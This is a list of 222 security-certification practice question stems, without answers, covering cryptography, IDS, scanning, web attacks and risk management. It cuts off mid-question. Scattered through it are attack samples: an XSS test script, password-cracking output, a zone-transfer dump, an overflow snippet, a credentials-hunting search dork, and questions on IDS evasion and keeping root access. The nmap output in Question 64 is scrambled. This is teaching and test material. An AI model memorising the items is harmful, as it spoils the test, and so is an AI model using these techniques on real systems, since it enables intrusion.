Question1: PGP, SSL, and IKE are all examples of which type of cryptography?
Question2: You are a Network Security Officer. You have two machines. The first machine (192.168.0.99) has snort installed, and the second machine (192.168.0.150) has kiwi syslog installed. You perform a syn scan in your network, and you notice that kiwi syslog is not receiving the alert message from snort. You decide to run wireshark in the snort machine to check if the messages are going to the kiwi syslog machine.
What wireshark filter will show the connections from the snort machine to kiwi syslog machine?
Question3: A hacker is attempting to use nslookup to query Domain Name Service (DNS). The hacker uses the nslookup interactive mode for the search. Which command should the hacker type into the command shell to request the appropriate records?
Question4: Nation-state threat actors often discover vulnerabilities and hold on to them until they want to launch a sophisticated attack. The Stuxnet attack was an unprecedented style of attack because it used four types of vulnerability.
What is this style of attack called?
Question5: When an alert rule is matched in a network-based IDS like snort, the IDS does which of the following?
Question6: In 2007, this wireless security algorithm was rendered useless by capturing packets and discovering the passkey in a matter of seconds. This security flaw led to a network invasion of TJ Maxx and data theft through a technique known as wardriving.
Which Algorithm is this referring to?
Question7: Which of the following is a vulnerability in GNU's bash shell (discovered in September of 2014) that gives attackers access to run remote commands on a vulnerable system?
Question8: Which of the following levels of algorithms does Public Key Infrastructure (PKI) use?
Question9: Which of the following statements is TRUE?
Question10: Which of the following parameters describe LM Hash (see exhibit):
Exhibit:
Question11: A company recently hired your team of Ethical Hackers to test the security of their network systems. The company wants to have the attack be as realistic as possible. They did not provide any information besides the name of their company. What phase of security testing would your team jump in right away?
Question12: Pentest results indicate that voice over IP traffic is traversing a network. Which of the following tools will decode a packet capture and extract the voice conversations?
Question13: As a Certified Ethical Hacker, you were contracted by a private firm to conduct an external security assessment through penetration testing.
What document describes the specifics of the testing, the associated violations, and essentially protects both the organization's interest and your liabilities as a tester?
Question14: Which of the following is the BEST way to protect Personally Identifiable Information (PII) from being exploited due to vulnerabilities of varying web applications?
Question15: Which of the following programs is usually targeted at Microsoft Office products?
Question16: Some passwords are stored using specialized encryption algorithms known as hashes. Why is this an appropriate method?
Question17: An Intrusion Detection System (IDS) has alerted the network administrator to a possibly malicious sequence of packets sent to a Web server in the network's external DMZ. The packet traffic was captured by the IDS and saved to a PCAP file.
What type of network tool can be used to determine if these packets are genuinely malicious or simply a false positive?
Question18: A security consultant is trying to bid on a large contract that involves penetration testing and reporting. The company accepting bids wants proof of work so the consultant prints out several audits that have been performed. Which of the following is likely to occur as a result?
Question19: In IPv6 what is the major difference concerning application layer vulnerabilities compared to IPv4?
Question20: The intrusion detection system at a software development company suddenly generates multiple alerts regarding attacks against the company's external webserver, VPN concentrator, and DNS servers. What should the security team do to determine which alerts to check first?
Question21: You just set up a security system in your network. In what kind of system would you find the following string of characters used as a rule within its configuration?
alert tcp any any -> 192.168.100.0/24 21 (msg: "FTP on the network!";)
Question22: Which Intrusion Detection System is best applicable for large environments where critical assets on the network need extra security and is ideal for observing sensitive network segments?
Question23: Which tier in the N-tier application architecture is responsible for moving and processing data between the tiers?
Question24: What is the approximate cost of replacement and recovery operation per year of a hard drive that has a value of $300 given that the technician who charges $10/hr would need 10 hours to restore OS and Software and needs further 4 hours to restore the database from the last backup to the new hard disk?
Calculate the SLE, ARO, and ALE. Assume the EF = 1 (100%).
Question25: International Organization for Standardization (ISO) standard 27002 provides guidance for compliance by outlining
Question26: Which type of scan is used on the eye to measure the layer of blood vessels?
Question27: A medium-sized healthcare IT business decides to implement a risk management strategy.
Which of the following is NOT one of the five basic responses to risk?
Question28: It is a widely used standard for message logging. It permits separation of the software that generates messages, the system that stores them, and the software that reports and analyzes them. This protocol is specifically designed for transporting event messages. Which of the following is being described?
Question29: Bluetooth uses which digital modulation technique to exchange information between paired devices?
Question30: Which solution can be used to emulate computer services, such as mail and ftp, and to capture information related to logins or actions?
Question31: A recent security audit revealed that there were indeed several occasions that the company's network was breached. After investigating, you discover that your IDS is not configured properly and therefore is unable to trigger alarms when needed. What type of alert is the IDS giving?
Question32: What is a successful method for protecting a router from potential smurf attacks?
Question33: A hacker has successfully infected an internet-facing server which he will then use to send junk mail, take part in coordinated attacks, or host junk email content.
Which sort of trojan infects this server?
Question34: While performing data validation of web content, a security technician is required to restrict malicious input.
Which of the following processes is an efficient way of restricting malicious input?
Question35: Which of the following is a component of a risk assessment?
Question36: What network security concept requires multiple layers of security controls to be placed throughout an IT infrastructure, which improves the security posture of an organization to defend against malicious attacks or potential vulnerabilities?
Question37: Which of the following is the structure designed to verify and authenticate the identity of individuals within the enterprise taking part in a data exchange?
Question38: A company has hired a security administrator to maintain and administer Linux and Windows-based systems. Written in the nightly report file is the following:
Firewall log files are at the expected value of 4 MB. The current time is 12am. Exactly two hours later the size has decreased considerably. Another hour goes by and the log files have shrunk in size again.
Which of the following actions should the security administrator take?
Question39: Ricardo wants to send secret messages to a competitor company. To secure these messages, he uses a technique of hiding a secret message within an ordinary message. The technique provides 'security through obscurity'.
What technique is Ricardo using?
Question40: Which of the following tools would be the best choice for achieving compliance with PCI Requirement 11?
Question41: This tool is an 802.11 WEP and WPA-PSK keys cracking program that can recover keys once enough data packets have been captured. It implements the standard FMS attack along with some optimizations like KoreK attacks, as well as the PTW attack, thus making the attack much faster compared to other WEP cracking tools.
Which of the following tools is being described?
Question42: What tool and process are you going to use in order to remain undetected by an IDS while pivoting and passing traffic over a server you've compromised and gained root access to?
Question43: You have successfully gained access to a linux server and would like to ensure that the succeeding outgoing traffic from this server will not be caught by a Network Based Intrusion Detection Systems (NIDS).
What is the best way to evade the NIDS?
Question44: A new wireless client that is 802.11 compliant cannot connect to a wireless network given that the client can see the network and it has compatible hardware and software installed. Upon further tests and investigation it was found out that the Wireless Access Point (WAP) was not responding to the association requests being sent by the wireless client. What MOST likely is the issue on this scenario?
Question45: What is the main difference between a "Normal" SQL Injection and a "Blind" SQL Injection vulnerability?
Question46: An Internet Service Provider (ISP) has a need to authenticate users connecting using analog modems, Digital Subscriber Lines (DSL), wireless data services, and Virtual Private Networks (VPN) over a Frame Relay network.
Which AAA protocol is most likely able to handle this requirement?
Question47: What is correct about digital signatures?
Question48: What is the primary drawback to using advanced encryption standard (AES) algorithm with a 256 bit key to share sensitive data?
Question49: Which of the following is considered an acceptable option when managing a risk?
Question50: Smart cards use which protocol to transfer the certificate in a secure manner?
Question51: Which United States legislation mandates that the Chief Executive Officer (CEO) and the Chief Financial Officer (CFO) must sign statements verifying the completeness and accuracy of financial reports?
Question52: At a Windows Server command prompt, which command could be used to list the running services?
Question53: An IT security engineer notices that the company's web server is currently being hacked. What should the engineer do next?
Question54: Which of the following tools performs comprehensive tests against web servers, including dangerous files and CGIs?
Question55: What are the three types of compliance that the Open Source Security Testing Methodology Manual (OSSTMM) recognizes?
Question56: A penetration tester is hired to do a risk assessment of a company's DMZ. The rules of engagement states that the penetration test be done from an external IP address with no prior knowledge of the internal IT systems. What kind of test is being performed?
Question57: Cryptography is the practice and study of techniques for secure communication in the presence of third parties (called adversaries.) More generally, it is about constructing and analyzing protocols that overcome the influence of adversaries and that are related to various aspects in information security such as data confidentiality, data integrity, authentication, and non-repudiation. Modern cryptography intersects the disciplines of mathematics, computer science, and electrical engineering. Applications of cryptography include ATM cards, computer passwords, and electronic commerce.
Basic example to understand how cryptography works is given below:
SECURE (plain text)
+
1(+1 next letter, for example, the letter ""T"" is used for ""S"" to encrypt.) TFDVSF (encrypted text)
+
1
=logic=> Algorithm
=Factor=> Key
Which of the following choices is true about cryptography?
Question58: Which tool is used to automate SQL injections and exploit a database by forcing a given web application to connect to another database controlled by a hacker?
Question59: Your company performs penetration tests and security assessments for small and medium-sized business in the local area. During a routine security assessment, you discover information that suggests your client is involved with human trafficking.
What should you do?
Question60: A developer for a company is tasked with creating a program that will allow customers to update their billing and shipping information. The billing address field used is limited to 50 characters. What pseudo code would the developer use to avoid a buffer overflow attack on the billing address field?
Question61: A penetration tester was hired to perform a penetration test for a bank. The tester began searching for IP ranges owned by the bank, performing lookups on the bank's DNS servers, reading news articles online about the bank, watching what times the bank employees come into work and leave from work, searching the bank's job postings (paying special attention to IT related jobs), and visiting the local dumpster for the bank's corporate office. What phase of the penetration test is the tester currently in?
Question62: Which method can provide a better return on IT security investment and provide a thorough and comprehensive assessment of organizational security covering policy, procedure design, and implementation?
Question63: During a blackbox pen test you attempt to pass IRC traffic over port 80/TCP from a compromised web enabled host. The traffic gets blocked; however, outbound HTTP traffic is unimpeded.
What type of firewall is inspecting outbound traffic?
Question64: A penetration tester is conducting a port scan on a specific host. The tester found several ports opened that were confusing in concluding the Operating System (OS) version installed. Considering the NMAP result below, which of the following is likely to be installed on the target machine by the OS?
Starting NMAP 5.21 at 2011-03-15 11:06
NMAP scan report for 172.16.40.65
Host is up (1.00s latency).
Not shown: 993 closed ports
PORT
STATE
open
open
open
open
open
open
SERVICE
ftp
telnet
http
netbios-ssn
2
2
8
1
5
6
9
1/tcp
3/tcp
0/tcp
39/tcp
15/tcp
31/tcp
ipp
100/tcp open
MAC Address: 00:00:48:0D:EE:89
Question65: Which tool would be used to collect wireless packet data?
Question66: What is the main disadvantage of the scripting languages as opposed to compiled programming languages?
Question67: Which security strategy requires using several, varying methods to protect IT systems against attacks?
Question68: What are the three types of authentication?
Question69: Which NMAP command combination would let a tester scan every TCP port from a class C network that is blocking ICMP with fingerprinting and service detection?
Question70: Which type of access control is used on a router or firewall to limit network activity?
Question71: To determine if a software program properly handles a wide range of invalid input, a form of automated testing can be used to randomly generate invalid input in an attempt to crash the program.
What term is commonly used when referring to this type of testing?
Question72: A Network Administrator was recently promoted to Chief Security Officer at a local university. One of employee's new responsibilities is to manage the implementation of an RFID card access system to a new server room on campus. The server room will house student enrollment information that is securely backed up to an off-site location.
During a meeting with an outside consultant, the Chief Security Officer explains that he is concerned that the existing security controls have not been designed properly. Currently, the Network Administrator is responsible for approving and issuing RFID card access to the server room, as well as reviewing the electronic access logs on a weekly basis.
Which of the following is an issue with the situation?
Question73: What statement is true regarding LM hashes?
Question74: Eve stole a file named secret.txt, transferred it to her computer and she just entered these commands:
[
eve@localhost ~]$ john secret.txt
Loaded 2 password hashes with no different salts (LM [DES 128/128 SSE2-16]) Press 'q' or Ctrl-C to abort. almost any other key for status
0g 0:00:00:03 3/3 0g/s 86168p/s 86168c/s 172336C/s MERO..SAMPLUI
0g 0:00:00:04 3/3 0g/s 3296Kp/s 3296Kc/s 6592KC/s GOS..KARIS4
0g 0:00:00:07 3/3 0g/s 8154Kp/s 8154Kc/s 16309KC/s NY180K..NY1837
0g 0:00:00:10 3/3 0g/s 7958Kp/s 7958Kc/s 1591KC/s SHAGRN..SHENY9
What is she trying to achieve?
Question75: LM hash is a compromised password hashing function. Which of the following parameters describe LM Hash:?
I - The maximum password length is 14 characters.
II - There are no distinctions between uppercase and lowercase.
III - It's a simple algorithm, so 10,000,000 hashes can be generated per second.
Question76: While testing the company's web applications, a tester attempts to insert the following test script into the search area on the company's web site:
<
script>alert(" Testing Testing Testing ")</script>
Afterwards, when the tester presses the search button, a pop-up box appears on the screen with the text:
Testing Testing Testing". Which vulnerability has been detected in the web application?
"
Question77: A network administrator discovers several unknown files in the root directory of his Linux FTP server. One of the files is a tarball, two are shell script files, and the third is a binary file is named "nc." The FTP server's access logs show that the anonymous user account logged in to the server, uploaded the files, and extracted the contents of the tarball and ran the script using a function provided by the FTP server's software. The ps command shows that the nc file is running as process, and the netstat command shows the nc process is listening on a network port.
What kind of vulnerability must be present to make this remote attack possible?
Question78: What two conditions must a digital signature meet?
Question79: Which statement best describes a server type under an N-tier architecture?
Question80: Defining rules, collaborating human workforce, creating a backup plan, and testing the plans are within what phase of the Incident Handling Process?
Question81: A penetration tester is conducting a port scan on a specific host. The tester found several ports opened that were confusing in concluding the Operating System (OS) version installed. Considering the NMAP result below, which of the following is likely to be installed on the target machine by the OS?
Starting NMAP 5.21 at 2011-03-15 11:06 NMAP scan report for 172.16.40.65 Host is up (1.00s latency).
Not shown: 993 closed ports PORT STATE SERVICE 21/tcp open ftp 23/tcp open telnet 80/tcp open http
139/tcp open netbios-ssn 515/tcp open 631/tcp open ipp 9100/tcp open MAC Address: 00:00:48:0D:EE:8
Question82: The fundamental difference between symmetric and asymmetric key cryptographic systems is that symmetric key cryptography uses which of the following?
Question83: Which protocol and port number might be needed in order to send log messages to a log analysis tool that resides behind a firewall?
Question84: How does an operating system protect the passwords used for account logins?
Question85: If a tester is attempting to ping a target that exists but receives no response or a response that states the destination is unreachable, ICMP may be disabled and the network may be using TCP. Which other option could the tester use to get a response from a host using TCP?
Question86: A server has been infected by a certain type of Trojan. The hacker intended to utilize it to send and host junk mails. What type of Trojan did the hacker use?
Question87: What would you type on the Windows command line in order to launch the Computer Management Console provided that you are logged in as an admin?
Question88: What is not a PCI compliance recommendation?
Question89: A large company intends to use Blackberry for corporate mobile phones and a security analyst is assigned to evaluate the possible threats. The analyst will use the Blackjacking attack method to demonstrate how an attacker could circumvent perimeter defenses and gain access to the corporate network. What tool should the analyst use to perform a Blackjacking attack?
Question90: It is a vulnerability in GNU's bash shell, discovered in September of 2014, that gives attackers access to run remote commands on a vulnerable system. The malicious software can take control of an infected machine, launch denial-of-service attacks to disrupt websites, and scan for other vulnerable devices (including routers).
Which of the following vulnerabilities is being described?
Question91: Which of the following is a low-tech way of gaining unauthorized access to systems?
Question92: How is sniffing broadly categorized?
Question93: Which type of cryptography does SSL, IKE and PGP belongs to?
Question94: Which of the following is a passive wireless packet analyzer that works on Linux-based systems?
Question95: The following are types of Bluetooth attack EXCEPT_____?
Question96: Fingerprinting VPN firewalls is possible with which of the following tools?
Question97: It is an entity or event with the potential to adversely impact a system through unauthorized access, destruction, disclosure, denial of service or modification of data.
Which of the following terms best matches the definition?
Question98: Attempting an injection attack on a web server based on responses to True/False questions is called which of the following?
Question99: Look at the following output. What did the hacker accomplish?
;
;
<<>> DiG 9.7.-P1 <<>> axfr domam.com @192.168.1.105
; global options: +cmd
domain.com. 3600 IN SOA srv1.domain.com. hostsrv1.domain.com. 131 900 600 86400 3600 domain.com. 600 IN A 192.168.1.102
domain.com. 600 IN A 192.168.1.105
domain.com. 3600 IN NS srv1.domain.com.
domain.com. 3600 IN NS srv2.domain.com.
vpn.domain.com. 3600 IN A 192.168.1.1
server.domain.com. 3600 IN A 192.168.1.3
office.domain.com. 3600 IN A 192.168.1.4
remote.domain.com. 3600 IN A 192.168. 1.48
support.domain.com. 3600 IN A 192.168.1.47
ns1.domain.com. 3600 IN A 192.168.1.41
ns2.domain.com. 3600 IN A 192.168.1.42
ns3.domain.com. 3600 IN A 192.168.1.34
ns4.domain.com. 3600 IN A 192.168.1.45
srv1.domain.com. 3600 IN A 192.168.1.102
srv2.domain.com. 1200 IN A 192.168.1.105
domain.com. 3600 INSOA srv1.domain.com. hostsrv1.domain.com. 131 900 600 86400 3600
;
;
;
;
; Query time: 269 msec
; SERVER: 192.168.1.105#53(192.168.1.105)
; WHEN: Sun Aug 11 20:07:59 2013
; XFR size: 65 records (messages 65, bytes 4501)
Question100: Which of the following descriptions is true about a static NAT?
Question101: Which regulation defines security and privacy controls for Federal information systems and organizations?
Question102: Which protocol is used for setting up secured channels between two devices, typically in VPNs?
Question103: Which among the following is a Windows command that a hacker can use to list all the shares to which the current user context has access?
Question104: A company firewall engineer has configured a new DMZ to allow public systems to be located away from the internal network. The engineer has three security zones set:
Untrust (Internet) - (Remote network = 217.77.88.0/24)
DMZ (DMZ) - (11.12.13.0/24)
Trust (Intranet) - (192.168.0.0/24)
The engineer wants to configure remote desktop access from a fixed IP on the remote network to a remote desktop server in the DMZ. Which rule would best fit this requirement?
Question105: Which set of access control solutions implements two-factor authentication?
Question106: Which of the following processes of PKI (Public Key Infrastructure) ensures that a trust relationship exists and that a certificate is still valid for specific operations?
Question107: Which of the following types of firewalls ensures that the packets are part of the established session?
Question108: A bank stores and processes sensitive privacy information related to home loans. However, auditing has never been enabled on the system. What is the first step that the bank should take before enabling the audit feature?
Question109: Which of the following is the BEST way to defend against network sniffing?
Question110: When you are getting information about a web server, it is very important to know the HTTP Methods (
(
GET, POST, HEAD, PUT, DELETE, TRACE) that are available because there are two critical methods PUT and DELETE). PUT can upload a file to the server and DELETE can delete a file from the server.
You can detect all these methods (GET, POST, HEAD, PUT, DELETE, TRACE) using NMAP script engine.
What nmap script will help you with this task?
Question111: WPA2 uses AES for wireless data encryption at which of the following encryption levels?
Question112: When setting up a wireless network, an administrator enters a pre-shared key for security. Which of the following is true?
Question113: A technician is resolving an issue where a computer is unable to connect to the Internet using a wireless access point. The computer is able to transfer files locally to other machines, but cannot successfully reach the Internet. When the technician examines the IP address and default gateway they are both on the
192.168.1.0/24. Which of the following has occurred?
Question114: How do employers protect assets with security policies pertaining to employee surveillance activities?
Question115: Which of the following is an application that requires a host application for replication?
Question116: An incident investigator asks to receive a copy of the event logs from all firewalls, proxy servers, and Intrusion Detection Systems (IDS) on the network of an organization that has experienced a possible breach of security. When the investigator attempts to correlate the information in all of the logs, the sequence of many of the logged events do not match up.
What is the most likely cause?
Question117: A company has publicly hosted web applications and an internal Intranet protected by a firewall. Which technique will help protect against enumeration?
Question118: A computer science student needs to fill some information into a secured Adobe PDF job application that was received from a prospective employer. Instead of requesting a new document that allowed the forms to be completed, the student decides to write a script that pulls passwords from a list of commonly used passwords to try against the secured PDF until the correct password is found or the list is exhausted.
Which cryptography attack is the student attempting?
Question119: Which command lets a tester enumerate alive systems in a class C network via ICMP using native Windows tools?
Question120: .
.......is an attack type for a rogue Wi-Fi access point that appears to be a legitimate one offered on the premises, but actually has been set up to eavesdrop on wireless communications. It is the wireless version of the phishing scam. An attacker fools wireless users into connecting a laptop or mobile phone to a tainted hotspot by posing as a legitimate provider. This type of attack may be used to steal the passwords of unsuspecting users by either snooping the communication link or by phishing, which involves setting up a fraudulent web site and luring people there.
Fill in the blank with appropriate choice.
Question121: Jack was attempting to fingerprint all machines in the network using the following Nmap syntax:
invictus@victim_server:~$ nmap -T4 -0 10.10.0.0/24
TCP/IP fingerprinting (for OS scan) xxxxxxx xxxxxx xxxxxxxxx. QUITTING!
Obviously, it is not going through. What is the issue here?
Question122: Which of the following areas is considered a strength of symmetric key cryptography when compared with asymmetric algorithms?
Question123: When purchasing a biometric system, one of the considerations that should be reviewed is the processing speed. Which of the following best describes what it is meant by processing?
Question124: Port scanning can be used as part of a technical assessment to determine network vulnerabilities. The TCP XMAS scan is used to identify listening ports on the targeted system.
If a scanned port is open, what happens?
Question125: What is the benefit of performing an unannounced Penetration Testing?
Question126: The network administrator contacts you and tells you that she noticed the temperature on the internal wireless router increases by more than 20% during weekend hours when the office was closed. She asks you to investigate the issue because she is busy dealing with a big conference and she doesn't have time to perform the task.
What tool can you use to view the network traffic being sent and received by the wireless router?
Question127: Which type of antenna is used in wireless communication?
Question128: An attacker is trying to redirect the traffic of a small office. That office is using their own mail server, DNS server and NTP server because of the importance of their job. The attacker gains access to the DNS server and redirects the direction www.google.com to his own IP address. Now when the employees of the office want to go to Google they are being redirected to the attacker machine. What is the name of this kind of attack?
Question129: A circuit level gateway works at which of the following layers of the OSI Model?
Question130: Which of the following is an advantage of utilizing security testing methodologies to conduct a security audit?
Question131: Using Windows CMD, how would an attacker list all the shares to which the current user context has access?
Question132: It is a regulation that has a set of guidelines, which should be adhered to by anyone who handles any electronic medical data. These guidelines stipulate that all medical practices must ensure that all necessary measures are in place while saving, accessing, and sharing any electronic medical data to keep patient data secure.
Which of the following regulations best matches the description?
Question133: While doing a technical assessment to determine network vulnerabilities, you used the TCP XMAS scan.
What would be the response of all open ports?
Question134: Which results will be returned with the following Google search query?
site:target.com -site:Marketing.target.com accounting
Question135: The precaution of prohibiting employees from bringing personal computing devices into a facility is what type of security control?
Question136: You are an Ethical Hacker who is auditing the ABC company. When you verify the NOC one of the machines has 2 connections, one wired and the other wireless. When you verify the configuration of this Windows system you find two static routes.
route add 10.0.0.0 mask 255.0.0.0 10.0.0.1
route add 0.0.0.0 mask 255.0.0.0 199.168.0.1
What is the main purpose of those static routes?
Question137: As an Ethical Hacker you are capturing traffic from your customer network with Wireshark and you need to find and verify just SMTP traffic. What command in Wireshark will help you to find this kind of traffic?
Question138: What is the best Nmap command to use when you want to list all devices in the same network quickly after you successfully identified a server whose IP address is 10.10.0.5?
Question139: When creating a security program, which approach would be used if senior management is supporting and enforcing the security policy?
Question140: Which of the following is a wireless network detector that is commonly found on Linux?
Question141: Which of the statements concerning proxy firewalls is correct?
Question142: The Heartbleed bug was discovered in 2014 and is widely referred to under MITRE's Common Vulnerabilities and Exposures (CVE) as CVE-2014-0160. This bug affects the OpenSSL implementation of the transport layer security (TLS) protocols defined in RFC6520.
What type of key does this bug leave exposed to the Internet making exploitation of any compromised system very easy?
Question143: Supposed you are the Chief Network Engineer of a certain Telco. Your company is planning for a big business expansion and it requires that your network authenticate users connecting using analog modems, Digital Subscriber Lines (DSL), wireless data services, and Virtual Private Networks (VPN) over a Frame Relay network. Which AAA protocol would you implement?
Question144: An attacker gains access to a Web server's database and displays the contents of the table that holds all of the names, passwords, and other user information. The attacker did this by entering information into the Web site's user login page that the software's designers did not expect to be entered. This is an example of what kind of software design problem?
Question145: What information should an IT system analysis provide to the risk assessor?
Question146: When you return to your desk after a lunch break, you notice a strange email in your inbox. The sender is someone you did business with recently, but the subject line has strange characters in it.
What should you do?
Question147: Which of the following is a detective control?
Question148: Which tool can be used to silently copy files from USB devices?
Question149: You are performing information gathering for an important penetration test. You have found pdf, doc, and images in your objective. You decide to extract metadata from these files and analyze it.
What tool will help you with the task?
Question150: Which of the following open source tools would be the best choice to scan a network for potential targets?
Question151: You are using NMAP to resolve domain names into IP addresses for a ping sweep later.
Which of the following commands looks for IP addresses?
Question152: After trying multiple exploits, you've gained root access to a Centos 6 server. To ensure you maintain access, what would you do first?
Question153: What is the main advantage that a network-based IDS/IPS system has over a host-based solution?
Question154: When analyzing the IDS logs, the system administrator noticed an alert was logged when the external router was accessed from the administrator's computer to update the router configuration. What type of an alert is this?
Question155: Which of the following identifies the three modes in which Snort can be configured to run?
Question156: You work as a Security Analyst for a retail organization. In securing the company's network, you set up a firewall and an IDS. However, hackers are able to attack the network. After investigating, you discover that your IDS is not configured properly and therefore is unable to trigger alarms when needed. What type of alert is the IDS giving?
Question157: Security and privacy of/on information systems are two entities that requires lawful regulations. Which of the following regulations defines security and privacy controls for Federal information systems and organizations?
Question158: While performing online banking using a Web browser, a user receives an email that contains a link to an interesting Web site. When the user clicks on the link, another Web browser session starts and displays a video of cats playing a piano. The next business day, the user receives what looks like an email from his bank, indicating that his bank account has been accessed from a foreign country. The email asks the user to call his bank and verify the authorization of a funds transfer that took place.
What Web browser-based security vulnerability was exploited to compromise the user?
Question159: If executives are found liable for not properly protecting their company's assets and information systems, what type of law would apply in this situation?
Question160: Which of the following programming languages is most susceptible to buffer overflow attacks, due to its lack of a built-in-bounds checking mechanism?
Code:
#
include <string.h>
int main(){
char buffer[8];
strcpy(buffer, ""11111111111111111111111111111"");
}
Output:
Segmentation fault
Question161: Which of the following is an NMAP script that could help detect HTTP Methods such as GET, POST, HEAD, PUT, DELETE, TRACE?
Question162: While using your bank's online servicing you notice the following string in the URL bar: "http:// www.MyPersonalBank.com/account?id=368940911028389&Damount=10980&Camount=21" You observe that if you modify the Damount & Camount values and submit the request, that data on the web page reflect the changes.
Which type of vulnerability is present on this site?
Question163: Firewalk has just completed the second phase (the scanning phase) and a technician receives the output shown below. What conclusions can be drawn based on these scan results?
TCP port 21 - no response
TCP port 22 - no response
TCP port 23 - Time-to-live exceeded
Question164: Which of the following techniques will identify if computer files have been changed?
Question165: While performing online banking using a Web browser, Kyle receives an email that contains an image of a well-crafted art. Upon clicking the image, a new tab on the web browser opens and shows an animated GIF of bills and coins being swallowed by a crocodile. After several days, Kyle noticed that all his funds on the bank was gone. What Web browser-based security vulnerability got exploited by the hacker?
Question166: Which statement is TRUE regarding network firewalls preventing Web Application attacks?
Question167: Which of the following is a preventive control?
Question168: TCP/IP stack fingerprinting is the passive collection of configuration attributes from a remote device during standard layer 4 network communications. Which of the following tools can be used for passive OS fingerprinting?
Question169: You're doing an internal security audit and you want to find out what ports are open on all the servers.
What is the best way to find out?
Question170: Which cipher encrypts the plain text digit (bit or byte) one by one?
Question171: Which of the following is a strong post designed to stop a car?
Question172: An attacker with access to the inside network of a small company launches a successful STP manipulation attack. What will he do next?
Question173: This phase will increase the odds of success in later phases of the penetration test. It is also the very first step in Information Gathering, and it will tell you what the "landscape" looks like.
What is the most important phase of ethical hacking in which you need to spend a considerable amount of time?
Question174: A regional bank hires your company to perform a security assessment on their network after a recent data breach. The attacker was able to steal financial data from the bank by compromising only a single server.
Based on this information, what should be one of your key recommendations to the bank?
Question175: SOAP services use which technology to format information?
Question176: The "black box testing" methodology enforces which kind of restriction?
Question177: Which security control role does encryption meet?
Question178: A company has five different subnets: 192.168.1.0, 192.168.2.0, 192.168.3.0, 192.168.4.0 and
192.168.5.0. How can NMAP be used to scan these adjacent Class C networks?
Question179: Which type of scan measures a person's external features through a digital video camera?
Question180: What is the most common method to exploit the "Bash Bug" or "ShellShock" vulnerability?
Question181: A network administrator received an administrative alert at 3:00 a.m. from the intrusion detection system.
The alert was generated because a large number of packets were coming into the network over ports 20 and 21. During analysis, there were no signs of attack on the FTP servers. How should the administrator classify this situation?
Question182: Shellshock had the potential for an unauthorized user to gain access to a server. It affected many internet- facing services, which OS did it not directly affect?
Question183: Which of the following is the successor of SSL?
Question184: What is the correct process for the TCP three-way handshake connection establishment and connection termination?
Question185: An NMAP scan of a server shows port 69 is open. What risk could this pose?
Question186: Which property ensures that a hash function will not produce the same hashed value for two different messages?
Question187: Which of these options is the most secure procedure for storing backup tapes?
Question188: A hacker was able to sniff packets on a company's wireless network. The following information was discovered:
The Key
10110010 01001011
The Cyphertext 01100101 01011010
Using the Exlcusive OR, what was the original message?
Question189: A certified ethical hacker (CEH) is approached by a friend who believes her husband is cheating. She offers to pay to break into her husband's email account in order to find proof so she can take him to court.
What is the ethical response?
Question190: Which of the following is a hardware requirement that either an IDS/IPS system or a proxy server must have in order to properly function?
Question191: A common cryptographical tool is the use of XOR. XOR the following binary values:
1
0
0110001
0111010
Question192: On a Linux device, which of the following commands will start the Nessus client in the background so that the Nessus server can be configured?
Question193: When comparing the testing methodologies of Open Web Application Security Project (OWASP) and Open Source Security Testing Methodology Manual (OSSTMM) the main difference is
Question194: What is the role of test automation in security testing?
Question195: Which of the following is one of the most effective ways to prevent Cross-site Scripting (XSS) flaws in software applications?
Question196: The "white box testing" methodology enforces what kind of restriction?
Question197: You've just been hired to perform a pen test on an organization that has been subjected to a large-scale attack. The CIO is concerned with mitigating threats and vulnerabilities to totally eliminate risk.
What is one of the first things you should do when given the job?
Question198: It is a short-range wireless communication technology that allows mobile phones, computers and other devices to connect and communicate. This technology intends to replace cables connecting portable devices with high regards to security.
Question199: Which command line switch would be used in NMAP to perform operating system detection?
Question200: A botnet can be managed through which of the following?
Question201: An ethical hacker for a large security research firm performs penetration tests, vulnerability tests, and risk assessments. A friend recently started a company and asks the hacker to perform a penetration test and vulnerability assessment of the new company as a favor. What should the hacker's next step be before starting work on this job?
Question202: A possibly malicious sequence of packets that were sent to a web server has been captured by an Intrusion Detection System (IDS) and was saved to a PCAP file. As a network administrator, you need to determine whether this packets are indeed malicious. What tool are you going to use?
Question203: How can a policy help improve an employee's security awareness?
Question204: Which of these is capable of searching for and locating rogue access points?
Question205: A hacker has managed to gain access to a Linux host and stolen the password file from /etc/passwd. How can he use it?
Question206: The company ABC recently discovered that their new product was released by the opposition before their premiere. They contract an investigator who discovered that the maid threw away papers with confidential information about the new product and the opposition found it in the garbage. What is the name of the technique used by the opposition?
Question207: An organization hires a tester to do a wireless penetration test. Previous reports indicate that the last test did not contain management or control packets in the submitted traces. Which of the following is the most likely reason for lack of management or control packets?
Question208: Which of the following is optimized for confidential communications, such as bidirectional voice and video?
Question209: It is a short-range wireless communication technology intended to replace the cables connecting portable of fixed devices while maintaining high levels of security. It allows mobile phones, computers and other devices to connect and communicate using a short-range wireless connection.
Which of the following terms best matches the definition?
Question210: During a recent security assessment, you discover the organization has one Domain Name Server (DNS) in a Demilitarized Zone (DMZ) and a second DNS server on the internal network.
What is this type of DNS configuration commonly called?
Question211: Internet Protocol Security IPSec is actually a suite of protocols. Each protocol within the suite provides different functionality. Collective IPSec does everything except.
Question212: Windows file servers commonly hold sensitive files, databases, passwords and more. Which of the following choices would be a common vulnerability that usually exposes them?
Question213: While conducting a penetration test, the tester determines that there is a firewall between the tester's machine and the target machine. The firewall is only monitoring TCP handshaking of packets at the session layer of the OSI model. Which type of firewall is the tester trying to traverse?
Question214: A company is using Windows Server 2003 for its Active Directory (AD). What is the most efficient way to crack the passwords for the AD users?
Question215: Which of the following viruses tries to hide from anti-virus programs by actively altering and corrupting the chosen service call interruptions when they are being run?
Question216: In the software security development life cycle process, threat modeling occurs in which phase?
Question217: Which of the following settings enables Nessus to detect when it is sending too many packets and the network pipe is approaching capacity?
Question218: What is one thing a tester can do to ensure that the software is trusted and is not changing or tampering with critical data on the back end of a system it is loaded on?
Question219: Backing up data is a security must. However, it also have certain level of risks when mishandled. Which of the following is the greatest threat posed by backups?
Question220: An engineer is learning to write exploits in C++ and is using the exploit tool Backtrack. The engineer wants to compile the newest C++ exploit and name it calc.exe. Which command would the engineer use to accomplish this?
Question221: In which phase of the ethical hacking process can Google hacking be employed? This is a technique that involves manipulating a search string with specific operators to search for vulnerabilities.
Example:
allintitle: root passwd
Question222: The following is part of a log file taken from the machine on the network with the IP address of
192.168.1.106:
